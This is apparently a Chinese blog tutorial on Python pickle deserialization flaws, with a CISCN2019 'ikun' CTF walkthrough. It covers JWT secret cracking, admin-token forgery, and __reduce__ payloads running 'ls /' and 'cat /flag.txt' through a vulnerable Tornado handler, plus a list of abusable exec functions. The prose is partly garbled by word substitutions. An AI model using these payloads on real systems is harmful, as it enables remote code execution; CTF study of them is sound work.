pickle是python措辞的一个标准模块,实现了基本的数据序列化和反序列化。pickle模块因此二进制的形式序列化后保存到文件中(保存文件的后缀为.pkl),不能直接打开进行预览。函数 解释dumps工具序列化为bytes工具dump工具序列化到文件工具,存入文件loads从bytes工具反序列化load工具反序列化,从文件中读取数据
【——全网最全的网络安全学习资料包分享给爱学习的你,关注我,私信回答“领取”获取——】
1.网络安全多个方向学习路线
2.全网最全的CTF入门学习资料

3.一线大佬实战履历分享条记
4.网安大厂口试题合集
5.红蓝对抗实战技能秘籍
6.网络安全根本入门、Linux、web安全、渗透测试方面视频
带 s 和不带 s 的差异就在于一个是直接进行序列化、反序列操作,另一个在完成上述操作时同时会对文件进行读取、写入操作。下面将举两个例子来看dumps和loads函数的浸染:
#test.pyimport pickleclass A: def __init__(self): print('This is A')a = A()p_a = pickle.dumps(a)print p_apickle.loads(p_a)##输出:This is A#(i__main__#A#p0#(dp1#b.
PVM指令
在python2下运行上述的代码,创造在loads函数输出的时候会有一串奇怪的字符。这串字符学名叫PVM指令:
Python措辞,是可以直接从源代码中运行程序。Python阐明器会将源代码编译成字节码,然后将编译过后的字节码转发到Python虚拟机(PVM)中实行。以是说,PVM指令的浸染便是见告阐明字节码的阐明引擎我们要进行什么操作。我们在python2运行后,会看到一个以.pyc为扩展名的文件,正是该程序的字节码。列出几个比较主要的操作码:c : 读取本行的内容作为模块名module, 读取下一行的内容作为工具名object,然后将 module.object 作为可调用工具压入到栈中( : 将一个标记工具压入到栈中 , 用于确定命令实行的位置 . 该标记常常搭配 t 指令一起利用 , 以便产生一个元组S : 后面跟字符串 , PVM会读取引号中的内容 , 直到遇见换行符 , 然后将读取到的内容压入到栈中t : 从栈中不断弹出数据 , 弹射顺序与压栈时相同 , 直到弹出左括号 . 此时弹出的内容形成了一个元组 , 然后 , 该元组会被压入栈中R : 将之前压入栈中的元组和可调用工具全部弹出 , 然后将该元组作为可调用参数的工具并实行该工具 。末了将结果压入到栈中. : 结束全体 Pickle 反序列化过程
PVM的组成
PVM 由三个部分组成,引擎(或者叫指令剖析器)、栈区、还有一个 标志区(memo)
1.引擎的浸染从头开始读取流中的操作码和参数,并对其进行处理,zai在这个过程中改变 栈区 和 标签区,处理结束后到达栈顶,形成并返回反序列化的工具2.栈区的浸染作为流数据处理过程中的暂存区,在不断的进出栈过程中完成对数据流的反序列化,并终极在栈上天生发序列化的结果3.标签区的浸染数据的一个索引或者标记
我们来解读一下上面 loads 函数的输出:
#(i__main__ 引入__main__模块#A 引入A工具#p0 将栈顶数据(__main__.A)存储到标志区(memo)中#(dp1 在栈顶创建一个字典,将memo中的内容转换成键值对并存储到这个字典中,然后栈顶存储到memo中#b. 调用__setstate__或者__dict__.update()来更新字典内容,末了读取到".",结束Pickle序列化过程。
从上面的例子中,可以总结得到python序列化紧张有三个过程:从工具中提取所有属性——》写入工具的所有模块名和类名——》写入工具所有属性的键值对。python反序列化漏洞的产生和php的魔术方法有异曲同工之处,在Python2中的__reduce__()方法,会在每次的反序列化开始或结束时调用。
__reduce__方法在新式类中生效,不带参数,应返回字符串或是一个元组。如果返回一个字符串,该字符串该当被阐明为全局变量的名称,它该当是工具相对付其模块确当地名称。当返回一个元组时,它必须包含两到五个成员。可选成员可以省略,也可以供应None作为其值。每个成员的意义是按顺序规定的:第一个成员,将被调用的工具,callable。第二个成员,可调用工具的参数的元组。如果callable不接管任何参数,则必须给出一个空元组。当Python定义的类中的__reduce__函数返回的元组包含危险代码或可控,就会造成代码实行。
把稳,目前在python2中,只有内置类才有__reduce__方法,以是声明的时候必须为class A(object)才能利用这个点。
来个例子大略理解一下:
import pickleimport osclass A(object): def __reduce__(self): return (os.system,('ls',))a = A()test = pickle.dumps(a)print testpickle.loads(test)
可以看到在dumps实行后,PVM指令中有一行R指令,前面提到R指令的浸染便是将该元组作为可调用参数的工具并实行该工具,以是就相称于实行了os.system('ls'),并且pickle.loads是会办理import 问题,对付未引入的module会自动考试测验import。那么也便是说全体python标准库的代码实行、命令实行函数我们都可以利用:
eval, execfile, compile, open, file, map, input,os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,os.listdir, os.access,os.execl, os.execle, os.execlp, os.execlpe, os.execv,os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,pickle.load, pickle.loads,cPickle.load,cPickle.loads,subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,commands.getstatusoutput,commands.getoutput,commands.getstatus,glob.glob,linecache.getline,shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,dircache.listdir,dircache.opendir,io.open,popen2.popen2,popen2.popen3,popen2.popen4,timeit.timeit,timeit.repeat,sys.call_tracing,code.interact,code.compile_command,codeop.compile_command,pty.spawn,posixfile.open,posixfile.fileopen,platform.popen
例题演习ikun--CISCN2019 华北赛区
提示我们要买到LV6才行,跑脚本去抓 lv6.png:
import requestsurl="http://87a4ec57-2a26-4095-8f2f-2de60f2f6192.node3.buuoj.cn/shop?page="for i in range(0,501):r=requests.get(url+str(i))if 'lv6.png' in r.text: print (i) break
单线程跑的不是很快,好在页面也不是很多。但找到页面后创造钱不足。。。抓包看下:
创造页面中的折扣是可以进行修正的,考试测验将折扣修正到足够小。这时候再向做事器发起要求的时候,被重定向到另一个页面,并且提示我们页面只有admin才能访问。这时候再重新审一下页面,有一个JWT的cookie,跑网站解析一下:
刚开始解析完,直接把用户名改成admin,放Burp里跑的时候没成功,创造还有一段密钥须要解,把现有的JWT放到JWT-Cracker跑一下,拿到密钥 1Kun 。再次修正JWT,拿着新的JWT向做事器发起要求,接着给了我们源码,源码挺多的,根据题目给的暗示 pickle和python,预测是python反序列化漏洞,搜索关键字loads和dumps,在admin.py找到:
import tornado.webfrom sshop.base import BaseHandlerimport pickleimport urllibclass AdminHandler(BaseHandler): @tornado.web.authenticated def get(self, args, kwargs): if self.current_user == "admin": return self.render('form.html', res='This is Black Technology!', member=0) else: return self.render('no_ass.html') @tornado.web.authenticated def post(self, args, kwargs): try: become = self.get_argument('become') p = pickle.loads(urllib.unquote(become)) #从字节工具中读取被封装的工具,并返回 return self.render('form.html', res=p, member=1) except: return self.render('form.html', res='This is Black Technology!', member=0)
如果我们传入一个带有__reduce__方法的类到become中,那么就会触发RCE(ps:网上的payload直接就找着/flag.txt打,实在最紧张的还是先找到flag的位置。刚开始很sb的用os.system打,但是没有回显,一度以为被ban掉了= =后面才想起来该函数只实行,不打印结果):
#找flag.pyimport pickleimport urllibimport sysimport commandsclass payload(object): def __reduce__(self): return (commands.getoutput, ('ls /',))a = pickle.dumps(payload())a = urllib.quote(a)print a#拿flag.pyimport pickleimport urllib class payload(object): def __reduce__(self): return (commands.getoutput, ('cat /flag.txt',))a = pickle.dumps(payload())a = urllib.quote(a)print a
实操推举:Python反序列化漏洞
https://www.hetianlab.com/expc.do?ec=ECID7eab-0fb2-4f21-96df-5c1f912e5572&pk_campaign=weixin-wemedia#stu
通过进行python脚本的实际编程,理解python反序列化漏洞产生的机理,增强安全开拓意识。